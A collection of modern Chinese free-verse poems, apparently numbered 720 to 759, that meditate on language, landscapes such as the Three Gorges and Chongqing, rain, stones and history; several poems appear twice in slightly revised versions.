而历史因此被弄乱了，简直是七零八落 简直是道德的有关论辩 而你的那流放之地因此被夹杂其间。 你那夫君，只消抬头看一看天上悬挂的月亮 地上满布它那永恒有关的光芒。 它们借你的纸上而永生 随着你西去的车轮声音，嘎吱嘎吱 在靠近中一点点的把因果与宿命吐露。 呵，河西走廊上面，戈壁的相遇 是蝴蝶和花朵。 是狂妄的死与生者枯竭的照面。 女人，你一成山色一城水 如今，也已经为衰老找到了合适的理由， 你甚至找到了自己事出有因而 无法再离开半步的情郎。 对于爱意的部分他懵懂无知。这会在 未来的某一天里面， 当干旱的土地上面寻找着，确实 并不存在的诗意之水，而汗水与他的融合 在夜晚会悄悄的变作了诗意。 而现在，让我们回到你那被删去了一半的 山水 面容。 我想静止的时候你不让我， 寻获你家门的人儿，悄悄的走过， 请让他在历史的走廊上面遗留下， 自己的身体和一串足迹。 四月720 《四月》 四月开花，与它那悬疑 相向而行的开着。 四月的花朵在自己的身体内部， 愈发红艳 花朵只能在自己的内部作孽， 探头往窗外一看， 白云便苍狗一般， 路人经过柴院，便嗡嗡嗡的 又喊又叫。而这是间接的逻辑 又是直接性下面的因果， 展示了自己。 四月开花，不约而同，我觉得它们的 单薄来自于群居， 它们热热闹闹的交头接耳， 以因果为例，属于我的那一个 早就不知道去到了哪里了。 易水寒721 《易水寒》 世界不能再具体， 正相反，它宽广的如同 需要语言的空虚。 所以，你说话，一定会舍身犯险 你应该站到一株低矮的冬青， 树的花团锦簇一般里面，仿佛含有着 历史一般的虚言。 而分明站在了生与死一线之间， 我寻找不到，你抛给一个读者的线索。 照片里面的你，安详的笑容被定格 趋向于开怀，任谁都无法想象到事情的真相 反过来，未来的一次猜疑，对逻辑太偏爱了。 照片并没有定格住一个， 风萧萧兮易水寒一般，历史照面中的人和物。 易水寒722 易水寒 《易水寒》 世界不能再具体， 正相反，它宽广的如同 需要语言的空虚。 所以，你说话，一定会舍身犯险 你应该站到一株低矮的冬青旁边。 树的花团锦簇一般里面，仿佛同样含有 历史般的虚言。 而分明站在了生与死一线之间， 我寻找不到，你抛给一个读者的线索。 照片里面的你，安详的笑容被定格 趋向于开怀，任谁都无法想象到事情的真相 反过来，未来的一次猜疑，对逻辑太偏爱了。 照片并没有定格住一个， 风萧萧兮易水寒一般，历史照面中的人和物。 猿声723 《猿声》 我与你同为男人， 质地粗糙直接蔓延到了互相的 两不看的地步。 你去做别的事情，没有告诉我 你轻声的呼唤——“小翠” 以为自己会是第一个 便也是我在呼唤。你以为我 惜字如金，所以选择了沉默吗。 心里面因两岸苍翠， 地势的险要需要两个人如去对立，冲突 分出胜负来。 我知道困难不仅仅在于和解，那一些 虚伪与荒诞的，因为每一个人识破了一般的 恍然大悟， 而它，这个配角因此下降的更深。 流水不止三千尺，这是两岸的猿猴告诉我的， 它们的嗓子最初初识得人言，灵智开启 又在不断的不厌其烦等待江上来客的 情感与纠葛里面， 如果不倒退，就蜿蜒曲折，稀里糊涂， 作如此状，向前。它们是流水暗涌的漩涡。 三峡724 《三峡》 猿声里面，比猿声 更往里，甚至是一种运动。 但不会缺少主词。 在猿声中月份与语言无疑， 四月如同下降降落下来的一场雨。 如同手，伸出了向着，某处。 月份不断的滚动， 无法在某一个地方逗留。 四月不是四月，它会滚动为五月 一点点积累起来的惯性， 五月会一闪而逝，我能看到 诗歌为挽留而作出努力。 整个一年，风霜雪雨，人能记住什么呢 他就这么飘在江水上面， 幸福于为应付人们认为他 孤独，偏执，总是错误的语言。 江水陆地一般，陆地丛生着事物的 不断流转。 猿声看水，却无法登船，再次的 返回陆地这个陆地需必然如此的过程。 伞725 《伞》 古代的美人，在死亡不可避免的背面 经得起任何的语言了。她模糊了自己 一次死亡需要经历，s书，和人物传记 茶馆与众口铄金。 出于好奇而去打听的人是最需要的。 拐过了几个弯，他也会遇见困难里面 最极端的情形。相比困难，古代的美人 衣阙纷飞走的很慢，脚下是因果的道路 被天上面如玉盘一般的星星照亮。 她的身体也跟着一闪一闪，仿佛身体上面 穿带着一生之中，自己最舍不得穿，最好看的衣裳。 而这些都被埋没了，所以情谊和爱情 如同无法被掩埋的流水，顺着土壤的缝隙 像泉眼一般往外冒。仅仅在男人与女人， 这一个最简单的关系上面，她凭窗远眺，等待着你。 古代的美人身影愈发的清晰，她是风中的百合 而你又曾经转身离去。 她在雨水里面身影模糊，不需要打伞， 那些空置的，有着会轮到你的时刻。 小楼726 《小楼》 小楼一夜听春雨， 明天的梨花如果不想成迷， 它们就需要摊开自己的叶片， 摊开自己从枝头，途径了一阵风声 空中，直到在地面还有一阵轻微的旋转。 这一片叶子已经充满了美感， 并且在睡眠里面， 让我们所写的被称作了诗歌， 接着那诗歌的历程，关怀的形式 在宇宙这个大舞台里面上下翻飞， 又偶尔表露出不可逃脱一般的悲观， 低垂的双目看着地面上的叶子， 想象着它是自由的。 这一片，叶子之心，它这自我毫无察觉的形式 我听见有人试着克服了腼腆， 一定是太过于激动了，喊了一声 母亲，冲着大地。 小楼2——727 小楼2 《小楼2》 小楼一夜听风雨， 明天的梨花如果不想成迷 它就需要摊开自己的叶片， 摊开自己从枝头，途径了一阵风声 直到在地面有一阵轻微的旋转。 这是眩晕的秘密， 伴随着往外吐露所拥有，是崭新的困难。 并且言说的困难，因为在不经意之间突如其来。 那嗓子里面所存在的干哑， 让一个言说的目的愈发的变得强烈起来。 我猜测你是小青，这与那，你无法离开此地 好风凭借力，那只是一阵没有根据的空幻。 你不能再返回到枝头上面的故土， 正是这些是你向下时所面临的阻力 无论面孔，那叶子的一面轻轻的朝下 或者别的，无风的时候你横卧着， 边缘锋利，叶子的根部与枝头紧紧相连。 五月728 《五月》 五月花从同一条路上袭来， 那些美美的很突然。 并且在一种心满意足的效果里面 重复了自己，借此寻找着可以成为人的时刻。 拟人都是假的，拟人的都只是人们 背对着事物与众生。 事物让他们有需要说话的必要性。 五月花袭来，简单来讲，会因为多 容易是挤压的事故。 因为繁多这一简单逻辑， 如同吊脚楼听雨，夹杂风声。 语言居安思危，也已经临阵磨q 心里面一阵阵轻微的胆寒，又与 心理安慰的有所依据互相的矛盾着。 五月漏雨的橱窗一直挪移到了 你试图冒着风雨往回赶路的心里面 一切明亮都从你的内心开始， 一切犹豫也是如此，事出有因 花开两半， 花开五月，你忽然觉得如此的具体。 三峡729 《三峡》 三峡与语言长久的关怀着 对于彼与此，作为一个循环 或者一个从另外的一个那里 回来。作为一种裸露的岩石 高高耸立的山脊，有着绵延 的曲线，一个与另外一个山头 皆从湍急的河水里面汲取养分。 如同巫山平湖后亭亭玉立的女人， 用她那目光和静默的风姿，凝望 远处。在繁多之中作为多与寡之间的 后者。在语言里面因为其生动， 生动的形象直接可以取材自奔腾的水。 它的别的部分，通过语言和思维的判别 仿佛我们所认定为真和对的，并因此 顺手推开了那些剩余的部分。 怜悯的语言因此得以施展它那形象， 如同是在一切都结束之后， 归属于了自然流淌的舒缓和平静。 愈往水平面以下的深邃有着与思维 如同琴弦一般的共鸣。三峡在例外之中 安放于此如同它耸立的原因， 它要面对的是难以理解的东西， 作为寡而多者，如江上来客，途径此地 留下了回声一般的只言片语。 夔门730 《夔门》 如果具有难以察觉的特征， 又总是处在了解释一般的忙碌之中。 我们和我们的言语自身， 像两种不同的事物，对于被区分 开来的，从那个作为同一个的面貌。 例证在于言语和语言的对面， 所需要言说，一直都没有停止的意思。 而任何的事物，比如诗篇。它从 那些地方徐徐的诞生，并且在于吟诵 仿佛遮盖住的都是一些意义不大的东西。 相对于粮食和土地，民z的命运所需要 占据很大的部分。我们仿佛生活的真实情形 在被抽去之中荣耀一般的备受感激的苟活。 而语言，从我们自己的嘴唇里面吐露 所具有的某种神秘体验，在四下无人的时候 展示了我们自己思想的贫乏，伴随着恐惧 眼睛里面充满了所看到的灯火， 一切需要被我们认识，它们停顿，乃至于 停留。或者抵达的意义正因此， 事先的在了我们的脑海如同震颤不已。 三峡731 《三峡》 我没有抵达， 抵达之感觉便由远而产生。 伴随着臆想，像是被不断用手儿 调整规矩的云。像巫山的那一朵。 我知道它不是， 投身于它的错误，因为远 说话与思又总是休戚与共的关系。 像巫山的雨与云，我们 接着自己对自己说。 而且并不仅仅只是我一个人， 放当美丽而雄伟的自然景观上面 傍晚它的山势挺拔隐身在了暮色里面， 看不清楚了所提供给我们的最新的论据， 和我们正以某种方式， 且思讨该如何如何的在了路上的种种。 江水732 《江水》 如果你的态度如同 来自于身患有疾。 我只能通过回声在荡漾向着对岸的 时候，来小心翼翼的确定。并且 把一份心意，它具有自始至终 仿佛命运一般微不足道的形式。 我的遗忘使得摆放在遗忘的阴影之中， 那些褐色或者幽暗，如今是平铺在 宽阔江水流淌的表面。 风帆，载送着乘客或者货轮， 与轮渡有着同样的喧嚣的汽笛声音。 言语纷纷的出逃，相比于此 拿来对比的时候，属于上一个时候 又在天光与暮色，二者所悄然之间组成的 侧影里面。它们的姿势从高处垂落下来 省略并且给予人们威严，语言里面肃穆的 重现，像是从空虚里面捞上来了的。 贴近我们的江水，永恒存在，这例证 我抵达你，从三峡顺流而下，到人声鼎沸的 襄阳，或者洞庭。风帆上的人仰卧 在酒水与明月光之间存在着。 无题732 《无题》 我把手拿掉， 胜利一般的甩一甩，或者 出于并不会走向劫后余生。 酒和菜能碰撞出什么火花？ 而与此同时，还需要多久 如果我们在时间的不可捉摸， 而此刻往往是它那漫长， 在无形如水流的流速之中存在着。 而言语所代表的，思 已经精疲力尽，说出与作出区分 对于一双手在无人察觉里面， 试图变得悄无声迹。那些强调 几乎没有遇到过什么像样的困难， 它也因此受到了某一些事物， 它们自身所具有的属性以某种特别的方式 向外永恒的扩散着。而运动只是其中的一种 面对着那些猜疑，手指是无力的 如果它正在变成另外的，思索便不得不离开 仿佛确实有某种因果，在傍晚时分存在着。 船舱733 《船舱》 众多的水因为命名而团聚， 只剩下了一种巨大的可能性。 须弥之间，在耳边响起的奔腾， 以及两岸的峡谷地势。 又在眼睛里面暗示了人的 到场，首当其冲的恍然。 被当做了背景的这一些， 情绪仿佛是通过了江水而确实微不足道， 并且在日升日落里面一次次的消逝。 所一点点积累起来的多，历史里面 嗡嗡嗡的如同回声一般， 再次的回到了说话者这一个源头。 他并不固定，有时候追求于具体和形象 面临着重重的困难但热情高涨， 我看见了远山下面的翠影， 曾经在船头像轻轻的抚摸着什么， 接着他转身回到了船舱里面。 星星的群体所具有的自然属性， 与历史还没有成为同样的事物， 彼此的类似在人们看起来像是分离的 发生，接下来是什么，会冲击人们的心灵吗。 群山与猿猴的群体， 江水的隐秘，我们的言语在沉默的睡眠后 像总是在水面的漂浮，它自身有了一种浮动。 重庆734 《重庆》 重庆是优美的句子发生了偏移， 担忧与关心又被它自身事先携带着。 是云与雾气， 偏移。第一场雨 迈着摇晃的步伐，推开了窗户 叫醒沉睡的人儿，把雨季暗示。 重庆的雨尤为在自身里面关心着一切， 又在叙述里面沉默不语。 我以为那是倾听的误解，便听到了一个 女子要把自己的声音刺破 她尖而细腻，在桌子上面的酒杯旁边 形成了另外的一种空， 吞噬了多余的语言。 而我在把一根将军烟递过去的时候， 暗藏着对于人类与女人母性群体的矛盾 像星斗与大地。 又因为始终不落下，在睡眠里面 经过了酒水和爱意 形成了让人宽慰和原谅的千古之谜。 而一切就这样照着，我 也是一个单独的事物。语言随后发生 也是。 一切都可以被酒水浇灌，肚子鼓鼓的 从嘴里面偶尔往外吐出的腹中残渣 在称呼为女人之中，这个词语在自己之中 永恒的一边调整着自己， 一边与男人永恒的纠缠不休。 就是这样，一个地名是一个暗号 你走了，离开，靠近火车站， 别人会等待你突然跳起来的一下子。 木头735 《木头》 我可以退而求此次， 在一边对着勤劳的祖先请求原谅， 在另一边， 语言的减少里面，仿佛是它们 自身也分不清到底与水中倒影相比而言， 哪一个才是真的。 而时机被提供给了微末的事物 在语言里面我可以说我听够了组词，成语 教诲在阴雨天里面陪伴无聊的两个人 虚度过的时光。 语言里面，这一次 不会有任何的雨滴落下。 但气候并不干燥，它有一双手推开了 有关于雨水的多余遐想。而它自身 也同样面临着会变得多余的处境， 所以，这是到来时会十分猛烈的雨水， 猛烈的冲着一扇门，一扇窗使劲。 我沿着不了察觉的小径前进， 因为在窗户里面女人总是第一次， 以聚集的形式显得繁多。 她们是水的诉求，又在我的沉默里面 变成了次要的事物。 我沿着黄昏里面的山路前进， 没有目的地，未来的因果，那一场雨水 只是语言之中叛逆的成语。 未雨绸缪或者山雨欲来风满楼 我看着它们彼此的矛盾历史漫长， 我心里面想着， 除了耳朵，与眼睛，脚步，手掌 只有我的心被闲置着。 而所想已经被重复，并且在说出里面 质疑了自身 ：从语言的减少里面，取出来的是木头。 三轮车736 《三轮车》 我可以说吗， 结果并不正确。 错误，而它总是在怜悯之间 祈求着能有容身之所，那伴随着 如同风和雨的季节来临 轻笑的声音如此的清亮。 而被遐想者已经远远的 朝着另外的一片。 这些永恒有效的三轮车把手， 有时候是汽车与摩托车的 共用了一个声音， 轰鸣里面又会单独的分开。 行驶也是一种形式，作为一种隐秘 它追逐着自己开车之时， 那些毫无美感可言的前方，目的地。 同桌的你737 《同桌的你》 我的声音在正确与错误之间来回， 我的勇气被我自己确认了一次 抵达我熟悉的梦境堤岸 又因为远，而那些是不需要说出的原因。 我的声音被磨损了，始终没有停止 在小小的事物， 每当顺着时间的齿轮， 它一点一点凭借着人们困惑和驳斥而来， 并且在人们之前， 已经让悲观与消沉，一一在我们的脸庞上面 浮现。 所以。我的思绪是混乱的， 我也无法去求助于你。 一扇门与一扇窗户，以及我们需要的 是粮食和天上一轮月亮。 它们隔开了你的困惑与恳切的眼睛， 隔开了到来和敲击，并没有蔓延到那， 对于你，我以信笺把想念寄存。 而这些都是无辜的， 最是以文字这个最后的诺亚方舟， 而你，这个倔强的人儿， 因为不上船的命运而与我成为了 对立与统一的一个。 窗外下起了无法解释的，异大陆的雨水 横移的步伐踩在了我的脸颊，但它过分的广阔。 与黑夜同一的事物，并且在语言的陈述里面 例如以从南到北，或者从东到西。 微弱738 《微弱》 微弱着的，就像语言。 都会同属于某一个类别 而且，并不会在说出之中被打破 它原有的样子。同样也是，那归纳的方向 在与此相反之上，或许我们会以为 有什么其他的事物被说了出来。 那是与被说出者不尽相同， 犹如溜了出来，在含蓄的意义上面 犹如邻近一般的暗示和提醒。 我们的任务对于自身而言， 繁重的感觉萦绕，看不见的丝线 在想当然而逃避的轻而易举里面 命运的就以其轻盈的漂浮， 以其形式的命运会伴随我们的言语一生。 而那些是什么，这样的疑问 在起点，终点是溘然长逝之前的 某一次偶然的灵光一闪，而逝去 因此所蕴含是伟大哲理， 而其暗示包括了人类存在，生活的盲目 笔直的在一条街道上面一意孤行的走动， 还有其他的例证，而它们自身的多， 也是例证之一。当人类如它们一般， 而这一具疲倦的身体过度的劳累 它倾向于睡眠与休息。以及如今并不遥远 它临终的时刻对于未解困惑的忽然想起来。 无题739 《无题》 我活着，或者活的更为的具体和准确。 在于，我从一间卧室走进了另外的一间。 而且这是我想要说出的， 从最初蒙尘于窗口洒落的光芒。 以及室内存在着的静物之间彼此的一切关系。 那里，声音于是嗡嗡嗡的产生了。 寂静结束了它的工作，一串脚步， 像挂钟上面有节奏的滴答和摇摆。 不用着急。不用着急，也没有任何的隐藏。 这是恩赐于我的日常，每一个普普通通的人 目的地对于他们，而他们自身的散漫 在漫无目的的来回游荡之间，在微风轻轻吹过的 夏日里面的松树林。 我们自身就是伟大的哲理， 这一具身体需要抚慰，在手指之间它过于的宝贵 对于每一个人而言像是目光所及 从纸上上面读到的每一个字，单词 像是别的，犹如水声。在晃动里面 充满了生命欢愉的夏日踪迹 声音740 《声音》 没有发生了的， 和发生了的，它已经走远了。 我怀疑说出在自我的辩驳里面 它以声音的形象是走远之事物 投身在地面上，影子但模糊了。 或许声音将会如此，永恒 被告知不过与短暂和瞬息 会结成彼此并不恰当的伴侣。 而在一条旅途上面的干涸， 嗓子冒烟，腹中空空。我们忍受着 饥饿，不胜其扰。 只有夜间是短暂的安宁时期， 被我们遗忘的声音， 试问思索于它的古老形象 是思，由银白色如丝线一般的垂下来。 如今，与生活脱节，我们愈加的难以解释 漫长的目的地正一点点的变得肃穆， 这种感觉印照在我们的内心。 声音在它永恒的宿命里面，探出头来 或者偶尔以反驳的方式，那回返 使得是在一条同样曲折的道路上面。 日落741 《日落》 日落总是令人不安， 我老了，你途径过来的声音 会有着变成风的命运， 之后在我的耳旁边上， 这结茧，又被悲观的得出了正确的判断 仿佛顽固不化的堤岸， 始终望着蓄水的池塘地步， 不发一言的，也还是干涸自身。 而你因此回到了你自己， 另一个人始终是无辜的。 你要他在道德的存活里面，扮演 被施以恩赐，怜悯的春风又会在随后， 到达，仿佛梦里面的雨水 把岸边的一颗弱柳，它脆弱的童年时期摇晃。 梦的理想国，确实可以沟通起来你和我。 让那些矛盾的语言也来自于你我。 落日余晖，青草有枯萎象 但落日很盛大，它孤立， 在我们的思想里面刨去了早晨，上午 中午与夜晚。 你明悟的时刻， 是语言的全部。 石头742 《石头》 石头位于一条小径 从村口通往山坡的地方。 它左边是破败的院墙， 已经无人居住。 但这个跟它没有什么关系， 没有美好的比喻与修辞， 没有人去楼空与石头，会在恍然之间 为突兀的效果而活着。 人的命从自身这里交代了出去， 石头是给不出的事物。 落在价值与意义的湖面， 证明了那只是一滩滩的死水。 还是在这余波里面的何其努力， 毕竟这只是一颗石头 每当如同在音乐一般的响起里面的语言， 被给定了的具体位置和风的失败。 以及裸露的其他的事物， 在整个夏季炎热里面的石头， 乃至于有时候对于心灵而言， 感人至深仿佛石头一般。 窗外743 《窗外》 窗外，是另一个世界。 为判断的陡然而落，和对落差的论述， 以语言的形式所提供的乐土。 抬头看鸟，鸟儿便无辜的厉害。 甚至颤抖， 那是夏季炎热的踪迹 以存在于树荫里面的形式， 它自身也是畏惧的集合体。 而曾经， 对于它来说的。 人们所传递而出，仿佛信件一般的语言 以及语言的形式 都一一落了空。在空处。 如在蓝天寻找它们的下落， 湖水如镜子，获得了不明，这一个事先存在的 名称。 而曾经的鸟儿滴落如同雨滴， 顺从于某一个妇人之仁。 排除的语言被收了回来， 未曾讲述的烦扰人心，那故事 拥有了人类一般的充足的时间。 而光阴，何其优雅，雅致的名称 仿佛脚上穿着雕花的鞋子 又因此被雨水所沾湿。 而你那裤脚，时常在鸟鸣的清脆里面 如同树荫， 将人类区分开来的，它们那另外的一个群体。 炎热里面鸟鸣的世界之树荫， 或者矛盾与悖论里面只有通过了人类 情绪里面的忽然，才丛生的爱意 以及它们的应景，窗外的树荫，和鸟在啼鸣。 禅院744 《禅院》 在孤独中，原因被悬置。 月光照耀着，像是在自身之中失效 接着又尽量加快了前进的步伐。 在撞击地面上的时候，好使得 一切照旧。这盼人归的曲调 不似高山与流水的默契相约。 双双在入夜时分投奔于暮色苍凉 而诗歌，因此总愿意在一个错的位置上面 与我照面。如山涧溪水猛扑过来。 诗歌所揭示的是月华的破碎之美， 被一双双屋舍内部的泥塑所垂首者 正准备以千年这太过久远的充分时间 而在其双手之中的某一个徐徐伸出 我觉得其中有着莲花的暗示，皎洁 在房屋的外面陡然从黑暗之中破门而出。 而整个世界之中这极其短暂的瞬息是人 或者人抓住了什么，其中便会有一幽长， 不似肃穆，也置身猜测于宁静睡眠的深处。 自然之歌745 《自然》 诗歌常常加固了我们自身的自然 那些行为是自然， 天然之中我们所拥有的。如果 没有别的，我们也可以以这种方式来 反问，反证。而同时把更多的推论拒绝和 否定掉。 而静止的形象， 绝不仅仅是受到了频繁的袭扰 仿佛有另外的一个， 以人之名义，试图占有，毁坏掉 静止所富有的丰满。 如果我们可以越过他们， 在我们的耳边，山林和绿树， 清澈的溪流与梯田 而那些诗歌的急迫， 因此一定是出于最自然的爱意 正当它也在我们的心中丛生之时。 夔门746 《夔门》 我结果一般的存在， 水落与石出所轻微发出的声音。 交给黎明的最后一束闪电， 它最后选择了劈砍向它自己。 而群山，有着同样的道理。 尽管它们有着不尽相同的样子 在眼睛里面，给视觉造成了 容易迷惑的烟雾。而一切归顺， 仍旧需要更多的例证。它们仿佛是事物的 另一个去处，而面对着那沉默乃至于以不可知晓 而导致悬置丛生。这同样是一个事物 顽固的拒绝着从生到死亡，从死亡的洞穴里面 隐隐传过来的迷幻的歌声。 人类，你以微小的生命参与其中 在浩大中当渺小与卑微，以及言语的激动。 随后感激的心情从内心深处诞生。 犹如山脚下的一株植物，过于遥远。 山顶是永远不会走上来的目的地 语言在喉咙里面的变幻，只是为了 能够把音乐的歌颂来传唱。人总有一天 会感受到他们自身的职责，并在那一刻里面 握紧了双手。 无题746 《无题》 像最终的结局一般，那么在最终的结局里面 只要挪开或者是听从于忍耐 有关于过去的真相，如果曾经历历在目 它们的重现重新的在我们心田里面。 旧时代包括着一切，以厌倦的方式， 无法被解释的一切。投以关注的一束光芒， 过于的短暂。而这个词语要么 属于事物的破旧，不发达的面临着未来的 一切不可知晓。要么， 一束目光，有着湮灭的命运。 而我们的肉体要为之辩护的一切， 实在是太多了。我们刚刚乘坐过的马车 上坡的时分，那嘎嘎的摩擦声音由此而来。 而我们始终处于一个队列的前方， 那么，我们为之奋斗的目标， 多少时间又可以被占去。手臂 如何的从无形犹如藤蔓之中奋力的挣脱。 每当怜悯投射在我的身体上面， 手臂，面颊，当时我正渴望有一次畅快的呼吸。 目光里面有夜色中的星斗， 在它们被文字一般的表达之前， 它们自身所流露出的羞涩。 雨水747 《雨水》 在语言里面安全，信鸽， 无论白天还是黑夜都在窗台的边上。 如同落下来的词语， 曾分属于两个不同的场景。 在白天，探出头去，看到的蓝蓝的天空。 在夜晚，雨水饱含了原因， 阻止了我们的远眺。 它会独自把我们推到一个， 明天陌生而又崭新的地方。 新的命名的形式， 在于我们的心意，并且从嘴里面 包括把昨天所经历的都一一概括。 文字的形象如同一副朝向着天空的脸庞， 又被蓝天压下，我们疼的时候，它不疼。 雨水748 《雨水》 一整天，全是喝水 度过它里面的泛滥成灾。 而长长的舒了一口气之后， 依然有着繁重的任务。 乃至于极其紧迫的事情， 只需要云层稀薄，并不包含着雷声。 那汛期的征兆起初像在跟人们， 试图温柔的对话。讨论 无色无味，石头的匮乏。 而一切的罪魁祸首，如果 你同意，那么我也不会反对。 低头沉默的人儿，扛着锄头 沿着地的边缘走着，用石头砸他！ 他虔诚于通过菩萨问询雨水的日子 已经太多了。一整天， 我都把一个秘密默默的含在嘴里面。 令众人惊异的事情， 是把那雨水，来源一般与嘴唇相互嫁接起来， 而任务依然没有完成， 我太小瞧这天空之密布， 它那范围包含着轻笑，又端居耻圣明于 沉默的圣人恩典。一般， 我会在一个石头上面闲坐， 与关于是谁先淋雨，或最后一个 如同充满了故事的曲折性。 石头749 《石头》 石头的回声更美， 美的历程，沿着 手指敲击的运动， 美的献身。石头起初的声音 沉闷，乃至于不会有声音。 为单独的事物我们就太寂寞了。 太过于勇敢了， 就会过度一般，被后人冠以 勇士，而勇士你应该就此瞧着 这永恒误解。 建筑伸出它构造图里面没有过的解释， 如同传统的屋檐上面， 一个活体猫咪爬了上去，蹲在那里。 我们自己可以选择走了， 我们的语言像被爪子拽住， 留下来，我们看不到它被撕裂的惨状。 而在美好与破碎之间， 人为了维持存在的平衡感，仿佛 活着的意义是次要的事情。 而这就是使得我，坐在角落 心安理得的观点。一支如同猫咪 心安理得的爪子， 要么就是只需要往窗户外面的风声，雨声里面 在须弥的伸出与收回之间， 有着似曾相识的故事性色彩。 屋内顿时徒增喧嚣， 并且有人慢慢的裸露出来， 正在下降的是他那本质， 正把他一点一点的往墙角的一个角落里面， 逼退。 石头750 《石头》 石头的回声更美， 美的历程，沿着 手指敲击的动作 美在献身于石头起初声音的 沉闷，乃至于不会有声音。 作为单独的事物，我们就太寂寞了。 而如果一无所获里面，可以为所欲为 它那极端的形式又太过于勇敢了。 会过度一般，被后人冠以 勇士的称号。而勇士你应该就此瞧着 这永恒误解。 建筑伸出它构造图里面没有过的解释， 如同传统的屋檐上面， 一个活体猫咪爬了上去，蹲在了那里。 我们自己可以选择离开， 我们的语言像被爪子给拖拽住。 留下来，看不到它被撕裂的惨状。 在美好与破碎之间， 人为了维持存在的平衡感，仿佛 活着的意义反而是次要的。 这就是使得我坐在角落，所持有 心安理得的观点。一支如同猫咪一般， 心安理得的爪子。 要么就是只需要往窗户外面的风声，雨声里 在须弥的伸出与收回之间， 有着似曾相识的故事色彩性。 屋内顿时徒增了些喧嚣， 并且有人慢慢的裸露出来。 正在下降的是他那本质， 正把他一点一点的往墙角的 一个角落里面，逼退。 博尔赫斯的751 《博尔赫斯》 《博尔赫斯的》 “古老的夜深邃，如一口小罐”。 ——但现在我引用时所说的话语 像是在一个队列的里面逃兵日渐衰老。 即使，我知道涣散与消逝 恶习的歌曲，总是以背景的方式 在日暮十分，才喜欢于悲情的调子 把舒缓的音乐弹奏。一切的结束 仿佛就是开始，一切的语言 从木头一般的缺少琴弦。 随着发丝的飘动才第一次的 真正有了开始。而我， 我要摈弃那些错误的观点 并且不曾再与那些过去式的。 在它们的言说与论断里面， 生命一点一点，带着希翼的目光 却走进了蹒跚步履，破旧庙宇祈求原谅。 夜风带雨，发生在远处， 山火挪移进屋子里面， 告诉人们，光明无论对与错 当它只能照亮了这里，和我们 更多是面前的寂静庭院。如果 你的悲伤是满足之后的新生事物， 伴随着语言的不再有效， 你所投身于远处。半山腰，或者 山顶庙宇的神秘。 如果它对于你所要传达的， 就是在于此时此刻，一个肉体的生灵 也轻轻的在这暮色中如同厌倦一般 漫无目的。 截句752 截句 《截句》 不怕石头滚动的人在书写， 有一段时间，他与这无关，与那无关 风雨雷电包含着鸟， 我不必怀疑他有那么一阵是飞翔 坐在原地所制造出来的厌倦， 犹如终于从心里面拿了出来， 因此命运的形式的样子， 与我们形影不离的那事物， 是语言自身的不及于。 夜晚753 《夜晚》 夜晚适合远行，在稍远一些的行走， 那尝试的真相不再只是敲击着， 我们的内心。我们自己 被一再提醒的我们， 推开了如同茫茫夜色里面的门扉。 你，又一次的如同拯救了自己的英雄 回到了寂寞永恒不变的地方。 你所给予的那一些， 在怜悯里面毫无重量可言的一切。 或者有别的可能性，而人们的插手干预 总是一次次的在事后匆匆忙忙的赶来 这些形象如果不是充满了误解， 所朝向是问题的澄清与解决 就像我们在路途上面所甩动的双手， 那所代表的奋力。我们投以热情 它们也许会慢慢的消散 就如同澄清时刻的到来， 在这一个过去了之后，那恍然大悟的 空虚的感觉。 酒水754 《酒水》 我是我，光着膀子喝啤酒的人 不能被我dai，b。 侧身我就出于过度的热情， 跃入了酒水的池沼。事后， 这回忆的清晰它发生的如此之快。 在语言不会增多的这永恒一般的金玉良言上面 这是它自身借着人们所形成的标准 并且为漫长和曲折，充满了注脚。 并非它因此也隐喻了时间的零散，破碎与虚度 在人，例如我的生涩在叙述上，娓娓道来的困难 和努力。 我所期待的转折， 不会激荡起来任何水流表面的涟漪。 或者那一些，如同就可以生动的在人们的 眼前一一浮现出来。紧接着 又因为此，流水东去，有逝去感。 而我们视作那随后到来安眠的时辰 如此充裕的提供给了我们，犹如仕女 温柔，步履频频。 它与夜晚的觥筹交错是一体的， 又因为休戚与共的误解， 在分开的企图上面，或者在 遗忘的发生之后，又忽然因为酒水的 记忆起来，让自己难以推辞。 熟悉与陌生755 《熟悉与陌生》 我熟悉的地方，感到陌生 我熟悉于此。 我的熟悉曾经直接走进去 旋转如被肩膀碰触， 又在随后步伐所带起来的风声里面 摆动，或者不得安宁。 事物， 它们因此所追寻，以苦苦支撑的方式 对于一个身影。 或者是深入了语言迷宫， 同样深入浅出的纵横交错。 而一切为时不晚，不过都只是一个人 始作俑者所造成的后果。 在朴实的农民身上， 为什么他们对于锄头和铁锨， 如此的热爱， 在充满了热情的边界上面又因为过度 而被拦了回来。 如果事情仅仅如此， 一次一次的重复，登山一般 并且攸关于土地。 在那些长庄稼，需要雨水的地方 在需要雨水的时刻， 如果我不合时宜又如同未来一般的正确的 预言，所带来的是语言和词语。 大地756 《大地》 在如同镜子一般的大地上面， 居住的已经太久如同一种暂时性的 分离，再继续往那里面 我们有关于幽暗的前方的声音 就是从那里面传了出来。 我们的话语犹如投降，被淹没的实际情况 我们的呼吸因为炎热有着呼吸的不畅快。 如果我们脚下面的地方， 并不仅仅是站立 一切迷途的起点，中途，终点。 而有时候我们的关怀，在于别处。 以这里为起点， 像一种迫不得已的行为， 如此众多的不可理喻因为人自身的贪婪 那些欲望又在愧疚里面，存在的 更为长久些。 生命757 《生命》 同一个人，同一副，犹如事情发生的脸庞。 对他说生，说死，让他继续咬紧自己的牙关。 让他可以等到通过了你和我，而自己可以成为一个英雄。 美好的时刻充满了误解，美好的时刻往往 从此刻开始，随着傍晚的灯火也向四周和远处。 而如果一种被留给我们的事物犹如最后的一个 悬念，我们过度消耗的心灵才可以在麻木不仁之中 跳过了道德意义的重复标榜， 那么再一次的复苏的惊奇和新鲜里面， 就如同在雨水的久旱逢甘霖里面。 我们的思想它是什么呢。是否， 那自我摆放的思想不断的在调整着 自身的位置。遵循万物有声的原则， 和其他的什么准则，以及那一些尚未被发现 和添加的。在我们脑海里面的这一个特例 而我们对自身的首先的投以关注，也并不是， 我是说是别的。 如今758 《如今》 如今， 不只是语言， 此刻面颊绯薄，如今 一个人会不由自主的思讨很多事情。 整个世界像是将他给紧紧拥抱住了 因果，被挤了出来。 因果仿佛没有影子， 大地仿佛因为无形事物的缺失， 而更显得干净了。过了一会， 等这些悄然又寂寞的条件 变得成熟。人就会迈着 莲花般的步子付诸以行动， 在简单与困难之间矛盾， 在此刻与下一刻里面， 我始终都是，我也在下一刻回想 刚刚没有可以去记忆的。 形式759 《形式》 世界的样子 和形式彼此争夺着， 那一格一格的奇特形象。 而为此，人，每一个 而非单个的人儿，那代表 必须要充分的具有了他， 不经过明证而来的良心。 